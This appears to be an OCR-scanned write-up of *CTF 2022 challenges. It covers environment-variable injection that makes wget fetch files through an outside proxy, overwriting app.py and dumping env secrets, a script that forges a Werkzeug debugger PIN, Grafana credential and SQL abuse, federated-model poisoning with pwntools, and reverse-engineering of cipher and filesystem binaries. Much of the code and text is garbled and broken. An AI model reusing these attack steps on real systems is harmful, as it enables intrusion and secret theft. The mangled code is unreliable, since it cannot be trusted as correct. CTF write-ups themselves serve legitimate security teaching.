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8¢ » € iniLe > 6 wgetre_sav_file_name{void)

jol = P 559 hone
e o @ 560 Mendif /x WINDOWS =/
g WA 561 ¥
e m 562 }
I MEMnE 563
a8 564 ret = home 7 xstrdup Chome) ; NULL;
= £ f
[ XA a5 TR - ERRERITH 563 Ufreslbuf);
=8 L momec o g 566
fu] const char *tz = geteny (“TZ"); 567 return ret;
B . sacure_gatenw.c lis (@ 568 )
#if SHAWE___SECURE_GETENY 569
secure_geteny (char const *name] 578 /= Check the "WGETRC' environment variable and return the file name

return getery (namej;
return geteny (name);
raturn geterv (nama);

@ 0 ¢

#if MAVE___SECURE_GETENV [* glibe * 571 if 'WGETRC' is set and is a valid file.
return __secure_geteny {name);

572 If the "WGETRC' variable exists but the file does not exist, the
573 function will exit(). =/

574 char =

575  mgetrc_env_file_name (void)

€ spawn-gipa.c it @ 576
find_in_given_path (prog_path, getany ["PATH"), NULL, talse); 577 char senv = [ ("WGETRC");
¥ € sprwic o @ 578 if (env &L senv)
prog_filename, use_path 7 geter [*RATH®) : =, . {
B c“::;p;’:::‘_':"“:“;" 588 file_stats_t flstat;
: 581 if (1file_exists_p (env, &flstat))
# define __sscure_geteny __libc_secure_geteny
—secure_getery __libc_secure_geteny Eaj { . ey N - , R N
4= _secure_peteny ("TMPDIR"); 583 fprintf (stderr, _("%s: WGETRC points to %s, which couldn't be accessed because of errer: %s.\n"),
v € tmpdec ib € 584 exec_name, env, strerror{flstat.access_errl);
S Batos & R o, BN securs. arain 585 exit (WGET_EXIT_GENERICERROR);
__libe_secure_gatan secure_geteny 586 }
d= _libc_secure_geteny (“TMPDIR"); 587 return xstrdup (envl;
~ € windows-spawn.c i& ) 588 }
letter: search for PROGNAME in geter [*PATH'). *f 589 return NULL;
find_in_given_path (progname, geteny (“PATH"], NULL, false); 598 }
v € fpelsc s (@) 591
if [tk = geterry [ "WGET_TIMEZONE_DIFFERENTIAL")) = NULL) 592 /= Append file name to (locally appropriate) directory spec. -
w € inite s (@) 593 Return pointer to allocated storage. */ o s
tmips = gesteny ("no_prony"); 594  char * . ~YES e
harme = geteny ("HOME"); 585 ajoin_dir_file (const char sdir, const char =file) e I e o
char "eny = geteny ("WOETRC"); B 6 CSDN @eD|IZE 4
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if

message = 'Lotto Error!'
return render_template('lotto.html', message=message)

safe_check(lotto_key):
os.environ[lotto_key] = lotto_value

try:

os.system('wget --content-disposition -N 127.0.0.1:8083')

—re

if os.path.exists("/Users/su/Downloads/attactment/app/source/lotto_result.txt"):
lotto_result = open("/Users/su/Downloads/attactment/app/source/lotto_result.txt", 'rb').
else:
lotto_result = 'result'
if os.path.exists("/Users/su/Downloads/attactment/tmp/guess/forecast.txt"):
forecast = open(“/Users/su/hounloads/attactment/tmp/guess/Forecast.txt", 'rb').read()
else:
forecast = 'forecast'

if forecast = lotto_result:
return 'flag{asd}"

message = 'Sorry forecast failed, maybe lucky next time!'
return render_template('Llotto.html', message=message)

: My | Lo L5,
except Exception as e: ) EDIZ S
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message = 'Lotto Error!’ CSDN @EDIEL <=
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from flask import Flask, make_response

import secrets

app Flask(__name_ )

@app.route(
def index():
lotto []
for i in range(1, 20):
n str(secrets.randbelow(490))

lotto.append(n)

r .join(lotto)

P

response make_response(r)
response.headers|
response.headers|

response

if _ _name__

app.run(debug=True, host , port=80)
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POST /forecast HTTP/1.1
Host: 121.36.217.177:53002
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary 2363992665965896981350789360
Content-Length: 249
Origin: http://127.0.0.1:8880
Connection: close
Referer: http://127.0.0.1:8880/forecast
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
X-Forwarded-For: 1.1.1.1
X-Originating-IP: 1.1.1.1
X-Remote-IP: 1.1.1.1
X-Remote-Addr: 1.1.1.1
2363992665965896981350789360
Content-Disposition: form-data; name ; filename
Content-Type: image/jpeg
http_proxy=http://120.26.59.137:8080
2363992665965896981350789360- -

IMAACEEE Kurl 3% 8] 25 AT 4%

POST /lotto HTTP/1.1
Host: 121.36.217.177:53002
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;g=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary 134338874213176516492993923776
Content-Length: 324
Origin: http://127.0.0.1:8880
Connection: close
Referer: http://127.0.0.1:8880/lotto
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
X-Forwarded-For: 1.1.1.1
X-Originating-IP: 1.1.1.1
X-Remote-IP: 1.1.1.1
X-Remote-Addr: 1.1.1.1
134338874213176516492993923776
Content-Disposition: form-data; name

134338874213176516492993923776
Content-Disposition: form-data; name
/app/guess/forecast.txt

134338874213176516492993923776--




Request Response
Pretty m \n  Actions v M-l Raw Render ‘n  Actions v
POST /lotto HTTP/1.1 1 HTTP/1.1 2808 0K

Host: 121.36.217.177:53002

User-Agent: Mozilla/5.@ (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
1 Accept:

text/html, application/xhtml+xml,application/xml; g=8.9, image/avif, image/webp,*/%;q=0.8
Accept-Language: zh-(N,zh;q=0.8,zh-TW;q=0.7, zh-HK; q=0.5,en-U5;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form—data;

boundary= 134338874213176516492993923776

8 Content-Length: 324

9 Origin: http://127.9.0.1:8880

18 Connection: close

11 Referer: http://127.0.0.1:88808/lotto

12 Upgrade-Insecure-Requests: 1

13 Sec-Fetch-Dest: document

14 Sec-Fetch-Mode: navigate

15 Sec-Fetch-Site: same-origin

16 Sec-Fetch-User: 71

17 X-Forwarded-For: 1.1.1.1

18 X-0riginating-IP: 1.1.1.1

19 X-Remote-IP: 1.1.1.1

20 X-Remote-Addr: 1,1.1.1

Server: gunicorn

Date: Sat, 16 Apr 2022 @9:21:87 GMT
Connection: close

Content-Type: text/html; charset=utf-8
Content-Length: 3@

BwWN =

oW

*ctf{its_forecast_8R_GUNICORN}

d

22 134338874213176516492993923776
23 Content-Disposition: form-data; name="lotto_key"

25 WGETRC

26 134338874213176516492993923776

27 Content-Disposition: form-data; name="lotto_value"

29 /app/guess/forecast.txt

30 13433B874213176516492993923776——
31 ~ v
oh-my-lotto-revenge

A AT 1 debug it PART BLEL#E A% I AR RSk 2 #eapp.py

from flask import Flask, make_response
import secrets

app Flask(__name__)

@app.route( )

for i in range(1, 20):
n str(secrets.randbelow(49))
lotto.append(n)
.join(lotto)

r = open( , ).read()
response = make_response(r)
response.headers|
response.headers|
response
if _ name_

app.run(debug=True, host , port=80)




s (1) 2 gunicormsi AR FEpythonig 17 A2 LI B3 (RTREARDURIR S R 172 D
5645 A] LA H bp 2 # k& B | gunicorn j5 worker .

ATTacning To LOTTO, app

lotto [2022-0u-16 13:19:20 +0000] [8] [INFO] Starting gunicorn 20.1.0

lotto [2022-04-16 13:19:20 +0000] [8] [INFO] Listening at: http://0.0.0.0:80 (8)
lotto [2022-04-16 13:19:20 +0000] [8] [INFO] Using worker: sync

lotto [2022-0u-16 13:19:20 +0000] [10] [INFO] Booting worker with pid: 1@

lotto [2022-04-16 13:19:20 +0000] [11] [INFO] Booting worker with pid: 11

app [2022-0u-16 13:19:20 +0ee@] [8] [INFO] Starting gunicorn 20.1.0

app [2022-64-16 13:19:20 +eee0] [8] [INFO] Listening at: http://0.0.0.0:8080 (8)
app [2022-0u-16 13:19:20 +0000] [8] [INFO] Using worker: sync

app [2022-04-16 13:19:20 +6000] [10] [INFO] Booting worker with pid: 10

app [2022-64-16 13:19:20 +0000] [11] [INFO] Booting worker with pid: 11

app —2022-04-16 13:19:34— http://lotto/

app Connecting to 120.26.59.137:8080... connected.

app Proxy request sent, awaiting response... 200 OK

app Length: 3031 (3.0K) [text/plain]

I
I
I
I
I
|
I
|
|
|
|
|
|
|
app | Last-modified header missing —- time-stamps turned off.
I
|
|
|
I
I
|
|
I
|
|
|
I
|
|

app —-2022-04-16 13:19:39-- http://lotto/

app Connecting to 120.26.59.137:8080... connected.

app Proxy request sent, awaiting response... 2808 OK

app Length: 3031 (3.@K) [text/plain]

app Saving to: ‘app.py’

app

app OK .. 100% 77.3M=0s

app

app 2022-84-16 13:19:39 (77.3 MB/s) — ‘app.py’ saved [3031/3031]

app

app —2022-04-16 13:19:56— http://lotto/

app Connecting to 120.26.59.137:8080... connected.

app Proxy request sent, awaiting response... [2022-04-16 13:20:27 +0000] [8] [CRITICAL] WORKE," < TMIZOpT irj.10)
app [2022-6u-16 13:20:28 +0000] [8] [WARNING] Worker with pid 10 was terminated due to signal 9;;_?’|:‘jf_rﬁ‘
app [2022-0u-16 13:20:28 +0000] [16] [INFO] Booting worker with pid: 16 LoDN @eDI%==

PREEA AL AME (175 K shelli#

L= = INSPE(

Request Response
proty [ W Adtions v 0 Raw Render \n  Actions v Selectic
1 GET fedi?edi=env HTTP/1.1 1 HTTP/1.1 208 0K SELE
2 Host: 124.71.284.16:53908 2 Server: gunicorn
i User-Agent: Mozillas5.8 (X11; Linux xB6_64; rv:B3.8) Gecko/20108181 Firefox/83.9 i Date: Sat, 16 Apr 2022 13:20:901 GMT *ctf
4 Accept: 4 Connection: close

text/html, application/xhtml+xml, application/xml; q=0.9, image/avif, image webp,*/*;q=0.8 5 Content-Type: text/html; charset=utf-8
5 Accept-Language: zh-(N,zh;q=08.8,zh-TW;q=0.7,zh-HK;q=0.5,en-U5;q=0.3,en;g=0.2 & Content-Length: 543
6 Accept-Encoding: gzip, deflate 7 Query F

7 Origin: http://127.9.0.1:6880 HOSTNAME=cBe2dBa55cad
8 Connection: close 9 PYTHON_PIP_VERSION=21.2.4 Body P

9 Referer: http://127.9.9.1:8880/lotto 16 HOME=/root

10 Upgrade-Insecure-Requests: 1 11 GPG_KEY=E3FF2839CA4EB25CAB40EREGBZGI95E318250568

11 Sec-Fetch-Dest: document 12 flag=ectf{ceaaads9ccs78d2aaar1fE1dbA2d90964} Reques
1z Sec-Fetch-Mode: navigate 13 PYTHOM_GET_PIP_URL=https://github.com/pypa/get-pip/ raw/38e54e5ded? c66e875c]lalebbdb 938654625

13 Sec-Fetch-5Site: same-origin 14 SERVER_SOFTWARE=gunicorn/2@.1.0 Reques
14 Sec-Fetch-User: 71 15 PATH=/usr/local/bin:/usr/local/sbin:fusr/local/bin: fusr/sbin: fusr/bin:/sbin: /bin

15 X-Forwarded-For: 1.1.1.1 16 LANG=C.UTF-8 Respon
16 X-Originating-If: 1.1.1.1 17 PYTHON_VERSION=3.8,12 -
17 X-Remote-IP: 1.1.1.1 13 PYTHON_SETUPTOOLS_VERSION=57.5.@ - .

16 X-Remote-Addr: 1.1.1.1 19 PWD=/ap s . :

19 28 PYTHON_GET_PIP_SHA256=e235c437e5c7d7524fbce3880cal0b017a73dc565e0c81306.  Jai20uwi2 Ml

20 21 — = |
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import os
import re
import sys
import hashlib

from itertools import chain

def load(dirname

Generic_Config + .format

ormat(dirname




Generic_Config + .format(
def loadNread(filename):
os.system(Generic_Config +

os.system(load(filename))
r = os.popen(read())
ret r.read()
r.close()
ret
print(rv)

packfile sys.argv[1]
Generic_Config

packfile)
wangka re.findall(r

loadNread(

cg = re.findall(r , loadNread(
mid
probably public_bits

]
private bits [
str(int(wangka.replace( ,""),16)),

mid+cg,

hashlib.shal()
bit in chain(probably public_bits, private bits):
if not bit:

if isinstance(bit, str):
bit bit.encode(
h.update(bit)
h.update(b )
cookie name + h.hexdigest()[:20]
num \[e]g]<]
if num is None:
h.update(b )
num ( % int(h.hexdigest(), 16))[:9]
rv \[e]g]<]
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size Q:
rv .join(num[x:x + group_size].rjust(group_size,

for x in range(®, len(num), group_size))

else:

rv num

print(rv)
A

GET /view?note_id=yvsn3yt4kdhtl2zfqsscl5i6112mmadp HTTP/1.1
Host: 124.70.185.87:5002

%

.format(




Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

DNT: 1

Connection: close

Cookie: session=eyJjc3ImX3Rva2VuIljoiY2ViOWIONWFKkYjM2ZmQ3N2MINTIONDImNjUwODIiZDIOYzcyOTgzNiIsInVzZXJuYW11IjoiYWRt
AW4ifQ.Ylotsg.tKGQ3pgsO1RTw51C71cCAgARYTY

Upgrade-Insecure-Requests: 1

SR 5 AT python3 readanything.py web1.txt
HE pinfith 5 H >k

500 (Internal Se;".w-er Error) - 36 times
[ ] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/12

[*] ending @ 08:48:57 /2022-04-16/

137-562-735 fo EDIZS

oh-my-grafana



admin 5f989714e132c9b04d4807dafeb10ade [http://124.70.163.46:3000]

Data Sources / MySQL-4

tif Settings

MySQL-4 Defutt @

MySQOL Connection

Host rmysql:3306

Database grafana

User grafana Password configured
Session Timezons

TLS Client Auth With CA Cert

Skip TLS Verify

Connection limits

Max open

Max idle

Max lifetime E D I .-H’_@

CSDN @EDI% %

4% 45 B4 () datasource
Ji Sk K B #RE BR ik grafana grafana
sqlrif]

VW=l 173.60.106.123:3000/explore?left=%5B"now-1h","now","MySQL-1",%7B"refld":"A","format™:"table”

® Explore MySQL-1

SELECT
*
FROM fffffflllllllllaaaagggggg

Format as Table - Query Builder Show Help > Generated SQL »

+ Add query &© Query history @© Inspector

*ctf{Upgrade_your_grafAna_now!}

EDIZ
CSD @I:'Dljx\é?;
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import tensorflow
import os
import traceback
import numpy as np
from tensorflow.keras import Sequential
from tensorflow.keras.layers import Dense, Conv2D, Flatten, MaxPooling2D
from tensorflow import keras
from tensorflow.keras.models import load_model
from tensorflow.keras.datasets import mnist
participant_number 20
def new_model():
model Sequential()
model.add(Conv2D(10, (3, 3), input_shape=(28, 28, 1)))
model.add(MaxPooling2D(pool_size=(2, 2)))
model.add(Conv2D(20, (3, 3)))
model.add(Flatten())
model.add(Dense(units=100, activation )))
model.add(Dense(units=10, activation )))
model.compile(loss=keras.losses.SparseCategoricalCrossentropy(), metrics=[
optimizer=keras.optimizers.Adam(1lr=0.001))
model
def load_test_data():
(s )y (X, ) mnist.load_data()
1 len(y)
for i in range(l):
y[i] = 9 - y[i]
X x.reshape(-1, 28, 28, 1)
X, Yy

def train_models(a E
(x, y), (L, ) mnist.load_data()
if a
1 len(y)
for i in range(l):
y[i] = 9 - y[i]
X = X.reshape(-1, 28, 28, 1)
if a
model = new_model()
model.fit(x, y, batch_size=64, epochs=6)
for i in range(participant_number):
model.save( .format(a)+str(i))
else:
for i in range(4):
model = new_model()
model.fit(x, y, batch_size=64, epochs=5)
model.save( .format(a)+str(5*i))
model.save( .format(a)+str(5*i+l))
model.save( .format(a)+str(5*i+2))
model.save( .format(a)+str(5*i+3))
model.save( .format(a)+str(5*i+4))
def aggregation(parameters):
print( )
weights [1]




ayer 1n parameters:
sum (7]
1 len(layer)
for temp in layer:
sum sum + temp

weights.append(sum / 1)

model new_model()
1 len(model.get weights())
model.set_weights(weights)
model
def test(model):
print( )
my_X, my_y load_test _data()
loss, acc model.evaluate(my_x, my_y, batch_size=64)
print(acc)
if acc 0.95:
print(

else:
print( , acc)
load_parameters(a ):
print(
parameters []
models []
for i in range(participant_number):
models.append(load_model( .format(a)+str(i)))
for i in range(8):
layer [1]
for j in range(participant_number):
temp = models[j].get_weights()
layer.append(temp[i])
parameters.append(layer)
parameters
get_val(arr):
if len(arr.shape) 1:
for temp in arr:
get_val(temp)
else:
1 len(arr)
for i in range(l):
arr[i] float(input())
get_input_parameter(parameters):
print( )
for layer in parameters:
input_weight = np.zeros(layer[@].shape)
print( )
get_val(input_weight)
layer.append(input_weight)
parameters

def cal_input_para(raw_para,my_para):

weights [1]

for i in range(len(raw_para)):
layer_raw=raw_para[i]
layer_my=my_para[i]
sum (4]
1 len(my_para)
for temp in layer my:




my weight=sum / 1

sum (7]

1 len(layer_raw)+1

for temp in layer_raw:
sum sum + temp

weight=1*my_ weight-sum

weights.append(weight)

weights
def get_input_parameter2(parameters,out):
print( )
for i in range(len(parameters)):

layer=parameters[i]

input_weight out[i]

layer.append(input_weight)
parameters
def get_val2(arr):
if len(arr.shape) 1:
for temp in arr:
get_val2(temp)
else:
1 len(arr)
for i in range(l):
arr[i] float(1)
train_models()
train_models( )
parametersl = load_parameters()
a=load_parameters()
parameters2 = load_parameters( )
parameters_out cal_input_para(a,parameters2)

get_input_parameter2(a,parameters_out)

import pickle

pickle.dump(a,open( ) ))
model = aggregation(parametersl)
test(model)

model = aggregation(parameters2)
test(model)

model = aggregation(a)

test(model)




import pickle
a=pickle.load(open(
def foo2(arr,r):

if len(arr.shape)

for temp in arr:

foo2(temp,r)
else:
1 len(arr)
for i in range(l):

r.sendline(str(arr[i]))

def foo(parameters,r):
for i in range(8):
print( .format(i))
input_weight ali]
foo2(input_weight[20],r)
from pwn import *
,8081)
)

r.interactive()

Alice’s challenge
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class AliceNet2(nn.Module):
def __init_ (self):
super(AliceNet2, self)._ init_ ()
act = nn.Sigmoid
self.conv nn.Sequential(
nn.Conv2d(3, 12, kernel size=5, padding=2, stride=2),
Clad @
nn.Conv2d(12, 12, kernel_size=5, padding=2, stride=2),
Clad @
nn.Conv2d(12, 12, kernel_size=5, padding=2, stride=1),
act(),
nn.Conv2d(12, 12, kernel_size=5, padding=2, stride=1),
act(),
)
self.fc nn.Sequential(
nn.Linear(768, 200)
)
def forward(self, x):
out self.conv(x)
out out.view(out.size(0), -1)
out self.fc(out)
out

(2)hn#80Et H 45 H BBh
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MFRFBEUE KB REN:

——

A3 ')
[4e]; //
unsigned __int6d v9; //

v

. 2

__readfsqword(@x28u) ;

sub_8010B50("input:");

sub_8001940(0LL, , 32LL);

sub_80809080(v28);
sub_800A380( (

else
sub_801eB50("failed\n

= BLL;

if ( __readfsqword(@x28u) !=
sub_B8047FAB();

return

1

St

-

3

FERINBREKEL: sub_8080900

)
£y

*CTF{? ):



= + ( £)(v7 - 48);
*(_QWORD *)v8 = al;
*( _DWORD *)(v8 + 36) = 8;
*(_DWORD *)(v8 + 36) = @;
if ( *(int *)( + 36) <= 3)
{
®(_QWOR J(v8 + 24) = 8 * *(_DWORD *)(v8 + 36) + *(_QWORD *)v8;
= *(_QWORD *){v8 + 24);
= (_QWORD *)(v8 - 8);
= -- = &loc_8080980;
= (_QWORD *)(v6 + (unsigned int)((_DWORD) - 56));
* R, .
*v4-- = sub_80@80760;
*d = s
- + (ur | t){ (_DWORD) - 48);
*(_QWOR Y(v3 + 24) = *(_QWORD *)(v6 + (unsig int)&unk_B80AFB4Q) ;
o *(_QWOR Y(v3 + 16) = *{_QWOF Y(v6 + (unsi int)&unk_80AFBA48);
*(_QWOR )( + 40) = Bx67452301EFCDABSOLL;
*(_DWOR Y(v3 + 12) = -1732584194;
LODWORD(v9) = HIDWORD(*(_OW Yv3 + 24));
g -= BLL;
*(_QWORD *)v3 = sub_B8080400; Y 5
*(_DWOR )( - 4) = 3 - 1) T:,f":
return ((__int64 (*)(void))(vé + (*(_DWORD *)v3 & OXFFFFFFE@)))(); CSDN @ED
Y oDN @eD)

SRR EMRFHARNINBRIEUE: — M INBRE 4458,

: | |SFI:000000000808068A lea rdx, ds:0[rax*4]
" ISFI1:0000000008080692 lea rax, dword_80GAFB6O
: * [SFI1:0000000008080699 nop dword ptr [rax+00000000h]
: * [SFI1:00000000080806A0 lea r12, [rdx+rax]
" [SFI:00000000080806A4 mowv ri2d, ril2d
\ * SF1:00000000080806A7 mov [r13+r12+0], ecx
: * [SFI1:00000000080806AC shr qword ptr [r15+28h], 1
: " |SFI:00000000080806B0 inc dword ptr [r15+24h]
+ [SFI:00000000080806B4 db 66h, 66h, 2Eh
» © SFI:00000000080806B4 nop word ptr [rax+rax+00000000h]
. " [SFI:00000000030306BF nop
: [SFI:00000000080806C0
. [SFI:00000000080806C0 loc_80806{0: ; CODE XREF: sub_8080480+E1j
" |SFI:00000000080806C0 cmp dword ptr [r15+24h], 43
1-ISFI:60609999938896C5 jle loc_80804A0
|SFI:00000000080806C8B lea rax, dword_80AFB6O
ICCT « ANAARMMNRNROACALZNT ~dA w10 A 21k 3! :
AEBEEloc_80804A0FF AR B E S RINIERAR L RIS 4SRN T rIMEZE: Csl

unsigned int data[] {0x04050607, 0x00010203, OxOCODOEOF, Ox08090A0B, OxCD3FE81B, OxD7C45477, Ox9F3E9236, 0x010

7F187, OxF993CB81, OxBF74166C, ©xDA198427, Ox1AOQS5ABFF, Ox9307ES5E4, OxCB8BOE4S5, Ox306DF7F5, OxAD300197, OxAA86BO5

6, Ox449263BA, Ox3FA4401B, Ox1E41F917, OxC6CB1E7D, Ox18EBOD7A, OxD4EC4800, OxB486F92B, Ox8737F9F3, ©x765E3D25, ©

XDB3D3537, OXEE44552B, 0x11DOC94C, ©Ox9B6O5BCB, 0x903B98B3, Ox24C2EEA3, Ox896E10A2, Ox2247F0CO, OxB84ES5CAA, ©x8D2

CO4FO, Ox3BC7842C, Ox1A50D606, Ox49A1917C, Ox7E1CB50C, OxFC27B826, Ox5FDDDFBC, OXDEOFC404, OxB2B30907};

int main(void)

i
unsigned int x 5 Y 5 [DF
for(int i 0; i 445 i++)

{
L

p = (ROL(x, 1)&ROL(x, 8))~ROL(x, 2)~y~data[i];
y = X5
X = Pp;

1

J

printf(




REAERIFFNEUSEEExtealF: W TERAZEAItealNZHFE, XN TheyiEBEBANVBHBRIESTMNE

[EEREMERINIRET .

48 *(vil - 2) = *(v1l - 6);
49 *((_DWORD *)v11 - 5) = @;

SF1:0000000008080180 loc_8080180: ; CODE XREF: sub_8080900-6D817j
" |SF1:0000000008080180 mov eax, [rl5-0Ch]
" |SF1:0000000008080184 shl eax, 4
" |SF1:0000000008080187 mov edx, eax
" |SF1:0000000008080189 mov eax, [r15-0Ch]
“ |SF1:000000000808018D shr eax, 5
" |SFI1:0000000008080190 xor edx, eax
“ |SF1:0000000008080192 mov eax, [r15-0Ch]
* |SFI:0000000008080196 lea ecx, [rdx+rax]
" |SF1:0000000008080199 mov eax, [r15-1@h]
© |SF1:000000000808019D and eax, 3
" |SF1:00000000080801A0 lea rdx, ds:0[rax*4]
“ |SF1:00000000080801A8 mov rax, [r15-18h]
“ |SFI:00000000080801AC add rax, rdx
" |SF1:00000000080801AF , mov eax, eax
“ |SF1:00000000080801B1 mov edx, [r13+rax+0]
" |SF1:00000000080801B6 mov eax, [rl15-18h]
“ |SF1:00000000080801BA ___‘add eax, edx
“ |SFI:00000000080801BC xor eax, ecx
" |SF1:00000000080801BE xchg ax, ax
" |SF1:00000000080801C0 add [r15-8], eax
“ |SF1:00000000080801C4 mov eax, [r15-1Ch]
" |SF1:00000000080801C8 . add [r15-18h], eax
" |SF1:00000000080801CC mov eax, [rl5-8]

" |SF1:00000000080801D0 shl eax, 4
“ |SFI:00000000080801D3 / mov edx, eax
" |SF1:00000000080801D5 mov eax, [rl5-8]
* |SFI:00000000080801D9 el < eax, 5
REHEEX:
w 35 FELUCT (8 LNLDS {7 JLVULUJJLVD + {7\ _LWUKY “JV3 & UXFFErrree))ivg;
39
49 g]se
a1 {
® 42 vll = (_QWORD *){v8 - 8);
® 43 *,11 = sub_8080A80; /
® 44| #(vil - 5) = Sunk_SPAFC60;
® a5 *(v1l - 6) = &unk_B8@AFC80;
® 46 *({_DWORD *)v11 - 13) = 32;
® 47 *(vil - 1) = *(vil1 - 5);
L
@
E

50 if ( *(vll - 5) == *(vil - 6) )

L
Ui
]

SRR

return ({__int64 (_ fastcall *)(__int64, void *,

int64))(ve + (*(_DWORD *)vil & @xFFFFFFE®)))(

() EDIZ S

yEDIZ
CSDN @EDI%4:



unsigned int datal ] {0x04050607, 0x00010203, OxOCODOEOF, Ox08090A0B, OxCD3FE81B, OxD7C45477, Ox9F3E9236, 0x019
7F187, OxF993CB81, OxBF74166C, OxDA198427, Ox1AO5ABFF, Ox9307ES5E4, OxCB8BOE45, Ox306DF7F5, OxAD300197, OxAA86BO5
6, 0x449263BA, Ox3FA4401B, Ox1E41F917, OxC6CB1E7D, ©x18EBOD7A, OxD4EC4800, OxB486F92B, Ox8737F9F3, Ox765E3D25, o
XDB3D3537, OXEE44552B, 0x11DOC94C, Ox9B60O5BCB, 0Ox903B98B3, Ox24C2EEA3, Ox896E10A2, 0x2247F0CO, OxB84E5CAA, 0x8D2
CO4F0, Ox3BC7842C, Ox1A50D606, Ox49A1917C, Ox7E1CB50C, OxFC27B826, OxS5FDDDFBC, OXDEOFC404, OxB2B30907};
unsigned int enc[] {OxFDF5C266, ©x7A328286, OxCE944004, OxSDEOS8ADC, OxA6E4BDOA, Ox16CAADDC, Ox13CD6FOC, Ox1A75
D936, 0};
unsigned int key[ ] {0x03020100, 0x07060504, OxOBOAG908, OXOFOEODOC};
void decipher(unsigned int num_rounds, unsigned int v[2], unsigned int const key[4])
{

unsigned int 1i;

unsigned int ve@=v[0@], vl=v[1], delta=0x10325476, sum=delta*num_rounds;

unsigned int x, y, p;

for (i=0; i num_rounds; i++)

vl -= (((ve 4) (voe 5)) + v@) ~ (sum + key[(sum>>11) 3]);
sum -= delta;
v -= (((v1 4) (vi 5)) + vl) ~ (sum + key[sum 31);

X vl, y vo;

for(int i 0; 1 < 44; i++)

{
(ROL(y, 1)&ROL(y, 8))"ROL(y, 2)~x"data[43-i];
Y5
p;

int main(void)
{
unsigned int x, y, p;
for(int i 0; i 4; i++)
{
unsigned int *tmp = enc+2*i;
decipher(pow(2, i+l), enc+2*i, key);
for(int i 0; i 2; i++)
for(int j 9; j < 4; j++)
printf( » ((char *)&tmp[i])[3-31);

Simple File System

HE IR

S{HE): |simplefs

AQg: 00001340 | [oo] < ARKER: | ol
\ ViHRE: 2 , AQZET: » (6]
N

EESRERD FERGH:

Q A4 |oooossssh | Bt hn&g:




e

D)3

INOT Win EXE - .0 - ELF executable [ 64bit obj. Shared obj file -CPU : A

#nE

MEER - 2ENET - HEER Ra 15 ms: .

| -> *Compiler : GCC: (Ubuntu 9. 40—1|.I::1h.|1~2004}94ﬂ
= \'I‘I L%

O % S

elf
F ST
BE TR AR A

Function name ™| Address Length Type String
[F]sub_1100 . " 0000000C [ captureflag
[Fsub_1110 & _rodata:00000... 0000000A ( plantflag
[Flsub 1120 plant flag to inode %d!\n
[Fsub_1130 [5] rodata:00000... 00000010 € captureflag

[F] sub_1140 [5] rodata:00000... 0000000E g plantflag
[F]sub_1150

[F]sub_1160

[Fsub_1170

[F]sub_1180

[F]sub_1190

[F] sub_11AD

[F]sub_11B0

[Fsub_11C0

msub_‘HDU

71 rwa finaliza v
<

Line 29 of 119

dh Graph overview o s x
h El

% flaze

; Line 2 of 5
[ Output windew

_,_),_.

TU/4: USIME EUESSED TypE INT OWOro_oerd;
6078: using guessed type int dword 6678;

FREX AR 20 T LARIIE Zsub_1E16RREUE = A8 T 4 B R IEF] THlag 3 ff.

_)I e EE f'*ff -.':7|

else if ( !strcmp(v25, "plantflag") )
{

vE = time(&v23);

srand(vg);

v21 = rand() % 108;

v22 = rand() % 1e@;

for (1 =9; 1 < v21; ++1 )

{
v16 = sub_216A();
if ( (unsigned int)sub_1E16("flag", vi16, 2LL) )

printf(“copied file %s to inode %d\n", v26, v16);
else
puts("copy failed!");

}

vl7 = sub_216A();

if ( (unsigned int)sub_1E16("flag”, v17, 1LL) )
printf(“plant flag to inode %d!\n", v17);

else
puts(“copy failed!");

for ( J =9; ] < v22; ++7 )

v18 = sub_216A();
if ( (unsigned int)sub_1El16("flag"”, v18, 2LL) )
printf(“copied file %s to inode %d\n", v26, v18);
else
puts("copy failed!");

2t FEINE RS it #limage flag U .

CSDN @EDIZ %

int64 _ fastcall sub_21B2(__int64 al, int a2)

int i; // [rsp+l@h] [rbp-18h]
int v4; // [rsp+l4h] [rbp-Ch]



_BYTE *v5; // [rsp+18h] [rbp-8h]

v4 = sub_30A3();
for (1 =@; 1 < a2; ++i )
{

V5 = (_BYTE *)(i + a1);

= (*v5 >> 1) | (*v5 << 7);

Am _]_;
((unsigned __int8)*vs »> 2) | (*v5 << 6);
A= BYTEL(v4);

((unsigned __int8)*v5 »>> 3) | (32 * *v5);
= BYTE2(v4);

((unsigned _ int8)*v5 >> 4) | (16 * *vs5);
= HIBYTE(v4);

(*v5 >> 5) | (8 * *vy5);

>

* K X K K K ¥ ® ¥
>

VU1 T LT 0 U U U
n

return 6LL;

¥

NGRS

1| _inte4 __fastcall sub_55F58E4101B2(__int64 al, int a2)
3 imt i; //
4| int va; [/ S[

BYTE *v5; // [rsp+18h] [rbp-8h

J O un
.

v4 = sub 55FS8E4118A3();

LY
0 o

1@ S = (_BYTE *)(i + al);

11 *v5 = (*v5 3> 1) | (*v5 << 7);

13 *y5 = {{unsigned intB)*vS »» 2) | (*v5 << 6);

14 *y5 A= BYTEL(v4);

15 *y5 = {{unsigned int8)*vs > 3) | (32 * *v5);

16 *y5 A= BYTE2(v4);

17 *v5 = ((unsigned __int8)*v5 3> 4) | (16 * *v5);

18 *y5 A= HIBYTE(v4);

